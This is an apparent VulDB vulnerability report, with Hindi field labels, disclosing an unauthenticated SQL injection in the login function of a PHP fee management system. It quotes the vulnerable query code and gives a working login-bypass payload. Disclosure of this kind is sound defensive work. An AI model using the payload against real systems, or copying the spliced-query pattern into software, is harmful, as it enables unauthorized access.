| शीर्षक | Unauthenticated SQL injection in Fee Management System in login page. |
|---|
| विवरण | Fee Management System source code URL:
https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html
in admin_class.php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' ");
......
}
the usename and password variables is directly spliced into sql statement.
In login page, anyone can login with the below parameters:
username: admin' or 1=1#
password: whatever
|
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html |
|---|
| उपयोगकर्ता | zhangguohu (UID 30684) |
|---|
| सबमिशन | 05/08/2022 11:44 AM (4 साल पहले) |
|---|
| संयम | 05/08/2022 12:43 PM (59 minutes later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 205658 [SourceCodester Best Fee Management System admin_class.php login उपयोगकर्ता नाम SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|